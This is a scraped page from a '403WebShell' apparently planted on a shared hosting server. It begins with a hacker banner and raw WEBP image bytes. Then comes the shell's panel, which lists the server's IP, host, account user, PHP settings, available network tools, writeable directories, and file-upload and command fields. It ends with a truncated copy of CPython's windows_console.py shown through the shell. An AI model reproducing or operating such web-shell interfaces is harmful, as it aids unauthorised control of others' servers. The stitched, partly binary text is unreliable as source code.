....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.126.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux host55.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : aeaw ( 7508)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python313/lib64/python3.13/_pyrepl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/alt/python313/lib64/python3.13/_pyrepl/windows_console.py
#   Copyright 2000-2004 Michael Hudson-Doyle <micahel@gmail.com>
#
#                        All Rights Reserved
#
#
# Permission to use, copy, modify, and distribute this software and
# its documentation for any purpose is hereby granted without fee,
# provided that the above copyright notice appear in all copies and
# that both that copyright notice and this permission notice appear in
# supporting documentation.
#
# THE AUTHOR MICHAEL HUDSON DISCLAIMS ALL WARRANTIES WITH REGARD TO
# THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS, IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL,
# INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

from __future__ import annotations

import io
import os
import sys
import time
import msvcrt

from collections import deque
import ctypes
from ctypes.wintypes import (
    _COORD,
    WORD,
    SMALL_RECT,
    BOOL,
    HANDLE,
    CHAR,
    DWORD,
    WCHAR,
    SHORT,
)
from ctypes import Structure, POINTER, Union
from .console import Event, Console
from .trace import trace
from .utils import wlen
from .windows_eventqueue import EventQueue

try:
    from ctypes import GetLastError, WinDLL, windll, WinError  # type: ignore[attr-defined]
except:
    # Keep MyPy happy off Windows
    from ctypes import CDLL as WinDLL, cdll as windll

    def GetLastError() -> int:
        return 42

    class WinError(OSError):  # type: ignore[no-redef]
        def __init__(self, err: int | None, descr: str | None = None) -> None:
            self.err = err
            self.descr = descr


TYPE_CHECKING = False

if TYPE_CHECKING:
    from typing import IO

# Virtual-Key Codes: https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
VK_MAP: dict[int, str] = {
    0x23: "end",  # VK_END
    0x24: "home",  # VK_HOME
    0x25: "left",  # VK_LEFT
    0x26: "up",  # VK_UP
    0x27: "right",  # VK_RIGHT
    0x28: "down",  # VK_DOWN
    0x2E: "delete",  # VK_DELETE
    0x70: "f1",  # VK_F1
    0x71: "f2",  # VK_F2
    0x72: "f3",  # VK_F3
    0x73: "f4",  # VK_F4
    0x74: "f5",  # VK_F5
    0x75: "f6",  # VK_F6
    0x76: "f7",  # VK_F7
    0x77: "f8",  # VK_F8
    0x78: "f9",  # VK_F9
    0x79: "f10",  # VK_F10
    0x7A: "f11",  # VK_F11
    0x7B: "f12",  # VK_F12
    0x7C: "f13",  # VK_F13
    0x7D: "f14",  # VK_F14
    0x7E: "f15",  # VK_F15
    0x7F: "f16",  # VK_F16
    0x80: "f17",  # VK_F17
    0x81: "f18",  # VK_F18
    0x82: "f19",  # VK_F19
    0x83: "f20",  # VK_F20
}

# Virtual terminal output sequences
# Reference: https://learn.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences#output-sequences
# Check `windows_eventqueue.py` for input sequences
ERASE_IN_LINE = "\x1b[K"
MOVE_LEFT = "\x1b[{}D"
MOVE_RIGHT = "\x1b[{}C"
MOVE_UP = "\x1b[{}A"
MOVE_DOWN = "\x1b[{}B"
CLEAR = "\x1b[H\x1b[J"

# State of control keys: https://learn.microsoft.com/en-us/windows/console/key-event-record-str
ALT_ACTIVE = 0x01 | 0x02
CTRL_ACTIVE = 0x04 | 0x08


class _error(Exception):
    pass

def _supports_vt():
    try:
        import nt
        return nt._supports_virtual_terminal()
    except (ImportError, AttributeError):
        return False

class WindowsConsole(Console):
    def __init__(
        self,
        f_in: IO[bytes] | int = 0,
        f_out: IO[bytes] | int = 1,
        term: str = "",
        encoding: str = "",
    ):
        super().__init__(f_in, f_out, term, encoding)

        self.__vt_support = _supports_vt()

        if self.__vt_support:
            trace('console supports virtual terminal')

        # Save original console modes so we can recover on cleanup.
        original_input_mode = DWORD()
        GetConsoleMode(InHandle, original_input_mode)
        trace(f'saved original input mode 0x{original_input_mode.value:x}')
        self.__original_input_mode = original_input_mode.value

        SetConsoleMode(
            OutHandle,
            ENABLE_WRAP_AT_EOL_OUTPUT
            | ENABLE_PROCESSED_OUTPUT
            | ENABLE_VIRTUAL_TERMINAL_PROCESSING,
        )

        self.screen: list[str] = []
        self.width = 80
        self.height = 25
        self.__offset = 0
        self.event_queue = EventQueue(encoding)
        try:
            self.out = io._WindowsConsoleIO(self.output_fd, "w")  # type: ignore[attr-defined]
        except ValueError:
            # Console I/O is redirected, fallback...
            self.out = None

    def refresh(self, screen: list[str], c_xy: tuple[int, int]) -> None:
        """
        Refresh the console screen.

        Parameters:
        - screen (list): List of strings representing the screen contents.
        - c_xy (tuple): Cursor position (x, y) on the screen.
        """
        cx, cy = c_xy

        while len(self.screen) < min(len(screen), self.height):
            self._hide_cursor()
            self._move_relative(0, len(self.screen) - 1)
            self.__write("\n")
            self.posxy = 0, len(self.screen)
            self.screen.append("")

        px, py = self.posxy
        old_offset = offset = self.__offset
        height = self.height

        # we make sure the cursor is on the screen, and that we're
        # using all of the screen if we can
        if cy < offset:
            offset = cy
        elif cy >= offset + height:
            offset = cy - height + 1
            scroll_lines = offset - old_offset

            # Scrolling the buffer as the current input is greater than the visible
            # portion of the window.  We need to scroll the visible portion and the
            # entire history
            self._scroll(scroll_lines, self._getscrollbacksize())
            self.posxy = self.posxy[0], self.posxy[1] + scroll_lines
            self.__offset += scroll_lines

            for i in range(scroll_lines):
                self.screen.append("")
        elif offset > 0 and len(screen) < offset + height:
            offset = max(len(screen) - height, 0)
            screen.append("")

        oldscr = self.screen[old_offset : old_offset + height]
        newscr = screen[offset : offset + height]

        self.__offset = offset

        self._hide_cursor()
        for (
            y,
            oldline,
            newline,
        ) in zip(range(offset, offset + height), oldscr, newscr):
            if oldline != newline:
                self.__write_changed_line(y, oldline, newline, px)

        y = len(newscr)
        while y < len(oldscr):
            self._move_relative(0, y)
            self.posxy = 0, y
            self._erase_to_end()
            y += 1

        self._show_cursor()

        self.screen = screen
        self.move_cursor(cx, cy)

    @property
    def input_hook(self):
        try:
            import nt
        except ImportError:
            return None
        if nt._is_inputhook_installed():
            return nt._inputhook

    def __write_changed_line(
        self, y: int, oldline: str, newline: str, px_coord: int
    ) -> None:
        # this is frustrating; there's no reason to test (say)
        # self.dch1 inside the loop -- but alternative ways of
        # structuring this function are equally painful (I'm trying to
        # avoid writing code generators these days...)
        minlen = min(wlen(oldline), wlen(newline))
        x_pos = 0
        x_coord = 0

        px_pos = 0
        j = 0
        for c in oldline:
            if j >= px_coord:
                break
            j += wlen(c)
            px_pos += 1

        # reuse the oldline as much as possible, but stop as soon as we
        # encounter an ESCAPE, because it might be the start of an escape
        # sequene
        while (
            x_coord < minlen
            and oldline[x_pos] == newline[x_pos]
            and newline[x_pos] != "\x1b"
        ):
            x_coord += wlen(newline[x_pos])
            x_pos += 1

        self._hide_cursor()
        self._move_relative(x_coord, y)
        if wlen(oldline) > wlen(newline):
            self._erase_to_end()

        self.__write(newline[x_pos:])
        if wlen(newline) == self.width:
            # If we wrapped we want to start at the next line
            self._move_relative(0, y + 1)
            self.posxy = 0, y + 1
        else:
            self.posxy = wlen(newline), y

            if "\x1b" in newline or y != self.posxy[1] or '\x1a' in newline:
                # ANSI escape characters are present, so we can't assume
                # anything about the position of the cursor.  Moving the cursor
                # to the left margin should work to get to a known position.
                self.move_cursor(0, y)

    def _scroll(
        self, top: int, bottom: int, left: int | None = None, right: int | None = None
    ) -> None:
        scroll_rect = SMALL_RECT()
        scroll_rect.Top = SHORT(top)
        scroll_rect.Bottom = SHORT(bottom)
        scroll_rect.Left = SHORT(0 if left is None else left)
        scroll_rect.Right = SHORT(
            self.getheightwidth()[1] - 1 if right is None else right
        )
        destination_origin = _COORD()
        fill_info = CHAR_INFO()
        fill_info.UnicodeChar = " "

        if not ScrollConsoleScreenBuffer(
            OutHandle, scroll_rect, None, destination_origin, fill_info
        ):
            raise WinError(GetLastError())

    def _hide_cursor(self):
        self.__write("\x1b[?25l")

    def _show_cursor(self):
        self.__write("\x1b[?25h")

    def _enable_blinking(self):
        self.__write("\x1b[?12h")

    def _disable_blinking(self):
        self.__write("\x1b[?12l")

    def _enable_bracketed_paste(self) -> None:
        self.__write("\x1b[?2004h")

    def _disable_bracketed_paste(self) -> None:
        self.__write("\x1b[?2004l")

    def __write(self, text: str) -> None:
        if "\x1a" in text:
            text = ''.join(["^Z" if x == '\x1a' else x for x in text])

        if self.out is not None:
            self.out.write(text.encode(self.encoding, "replace"))
            self.out.flush()
        else:
            os.write(self.output_fd, text.encode(self.encoding, "replace"))

    @property
    def screen_xy(self) -> tuple[int, int]:
        info = CONSOLE_SCREEN_BUFFER_INFO()
        if not GetConsoleScreenBufferInfo(OutHandle, info):
            raise WinError(GetLastError())
        return info.dwCursorPosition.X, info.dwCursorPosition.Y

    def _erase_to_end(self) -> None:
        self.__write(ERASE_IN_LINE)

    def prepare(self) -> None:
        trace("prepare")
        self.screen = []
        self.height, self.width = self.getheightwidth()

        self.posxy = 0, 0
        self.__gone_tall = 0
        self.__offset = 0

        if self.__vt_support:
            SetConsoleMode(InHandle, self.__original_input_mode | ENABLE_VIRTUAL_TERMINAL_INPUT)
            self._enable_bracketed_paste()

    def restore(self) -> None:
        if self.__vt_support:
            # Recover to original mode before running REPL
            self._disable_bracketed_paste()
            SetConsoleMode(InHandle, self.__original_input_mode)

    def _move_relative(self, x: int, y: int) -> None:
        """Moves relative to the current posxy"""
        dx = x - self.posxy[0]
        dy = y - self.posxy[1]
        if dx < 0:
            self.__write(MOVE_LEFT.format(-dx))
        elif dx > 0:
            self.__write(MOVE_RIGHT.format(dx))

        if dy < 0:
            self.__write(MOVE_UP.format(-dy))
        elif dy > 0:
            self.__write(MOVE_DOWN.format(dy))

    def move_cursor(self, x: int, y: int) -> None:
        if x < 0 or y < 0:
            raise ValueError(f"Bad cursor position {x}, {y}")

        if y < self.__offset or y >= self.__offset + self.height:
            self.event_queue.insert(Event("scroll", ""))
        else:
            self._move_relative(x, y)
            self.posxy = x, y

    def set_cursor_vis(self, visible: bool) -> None:
        if visible:
            self._show_cursor()
        else:
            self._hide_cursor()

    def getheightwidth(self) -> tuple[int, int]:
        """Return (height, width) where height and width are the height
        and width of the terminal window in characters."""
        info = CONSOLE_SCREEN_BUFFER_INFO()
        if not GetConsoleScreenBufferInfo(OutHandle, info):
            raise WinError(GetLastError())
        return (
            info.srWindow.Bottom - info.srWindow.Top + 1,
            info.srWindow.Right - info.srWindow.Left + 1,
        )

    def _getscrollbacksize(self) -> int:
        info = CONSOLE_SCREEN_BUFFER_INFO()
        if not GetConsoleScreenBufferInfo(OutHandle, info):
            raise WinError(GetLastError())

        return info.srWindow.Bottom  # type: ignore[no-any-return]

    def _read_input(self, block: bool = True) -> INPUT_RECORD | None:
        if not block:
            events = DWORD()
            if not GetNumberOfConsoleInputEvents(InHandle, events):
                raise WinError(GetLastError())
            if not events.value:
                return None

        rec = INPUT_RECORD()
        read = DWORD()
        if not ReadConsoleInput(InHandle, rec, 1, read):
            raise WinError(GetLastError())

        return rec

    def get_event(self, block: bool = True) -> Event | None:
        """Return an Event instance.  Returns None if |block| is false
        and there is no event pending, otherwise waits for the
        completion of an event."""

        while self.event_queue.empty():
            rec = self._read_input(block)
            if rec is None:
                return None

            if rec.EventType == WINDOW_BUFFER_SIZE_EVENT:
                return Event("resize", "")

            if rec.EventType != KEY_EVENT or not rec.Event.KeyEvent.bKeyDown:
                # Only process keys and keydown events
                if block:
                    continue
                return None

            key_event = rec.Event.KeyEvent
            raw_key = key = key_event.uChar.UnicodeChar

            if key == "\r":
                # Make enter unix-like
                return Event(evt="key", data="\n")
            elif key_event.wVirtualKeyCode == 8:
                # Turn backspace directly into the command
                key = "backspace"
            elif key == "\x00":
                # Handle special keys like arrow keys and translate them into the appropriate command
                key = VK_MAP.get(key_event.wVirtualKeyCode)
                if key:
                    if key_event.dwControlKeyState & CTRL_ACTIVE:
                        key = f"ctrl {key}"
                    elif key_event.dwControlKeyState & ALT_ACTIVE:
                        # queue the key, return the meta command
                        self.event_queue.insert(Event(evt="key", data=key))
                        return Event(evt="key", data="\033")  # keymap.py uses this for meta
                    return Event(evt="key", data=key)
                if block:
                    continue

                return None
            elif self.__vt_support:
                # If virtual terminal is enabled, scanning VT sequences
                for char in raw_key.encode(self.event_queue.encoding, "replace"):
                    self.event_queue.push(char)
                continue

            if key_event.dwControlKeyState & ALT_ACTIVE:
                # Do not swallow characters that have been entered via AltGr:
                # Windows internally converts AltGr to CTRL+ALT, see
                # https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-vkkeyscanw
                if not key_event.dwControlKeyState & CTRL_ACTIVE:
                    # queue the key, return the meta command
                    self.event_queue.insert(Event(evt="key", data=key))
                    return Event(evt="key", data="\033")  # keymap.py uses this for meta

            return Event(evt="key", data=key)
        return self.event_queue.get()

    def push_char(self, char: int | bytes) -> None:
        """
        Push a character to the console event queue.
        """
        raise NotImplementedError("push_char not supported on Windows")

    def beep(self) -> None:
        self.__write("\x07")

    def clear(self) -> None:
        """Wipe the screen"""
        self.__write(CLEAR)
        self.posxy = 0, 0
        self.screen = [""]

    def finish(self) -> None:
        """Move the cursor to the end of the display and otherwise get
        ready for end.  XXX could be merged with restore?  Hmm."""
        y = len(self.screen) - 1
        while y >= 0 and not self.screen[y]:
            y -= 1
        self._move_relative(0, min(y, self.height + self.__offset - 1))
        self.__write("\r\n")

    def flushoutput(self) -> None:
        """Flush all output to the screen (assuming there's some
        buffering going on somewhere).

        All output on Windows is unbuffered so this is a nop"""
        pass

    def forgetinput(self) -> None:
        """Forget all pending, but not yet processed input."""
        if not FlushConsoleInputBuffer(InHandle):
            raise WinError(GetLastError())

    def getpending(self) -> Event:
        """Return the characters that have been typed but not yet
        processed."""
        return Event("key", "", b"")

    def wait(self, timeout: float | None) -> bool:
        """Wait for an event."""
        # Poor man's Windows select loop
        start_time = time.time()
        while True:
            if msvcrt.kbhit(): # type: ignore[attr-defined]
                return True
            if timeout and time.time() - start_time > timeout / 1000:
                return False
            time.sleep(0.01)

    def repaint(self) -> None:
        raise NotImplementedError("No repaint support")


# Windows interop
class CONSOLE_SCREEN_BUFFER_INFO(Structure):
    _fields_ = [
        ("dwSize", _COORD),
        ("dwCursorPosition", _COORD),
        ("wAttributes", WORD),
        ("srWindow", SMALL_RECT),
        ("dwMaximumWindowSize", _COORD),
    ]


class CONSOLE_CURSOR_INFO(Structure):
    _fields_ = [
        ("dwSize", DWORD),
        ("bVisible", BOOL),
    ]


class CHAR_INFO(Structure):
    _fields_ = [
        ("UnicodeChar", WCHAR),
        ("Attributes", WORD),
    ]


class Char(Union):
    _fields_ = [
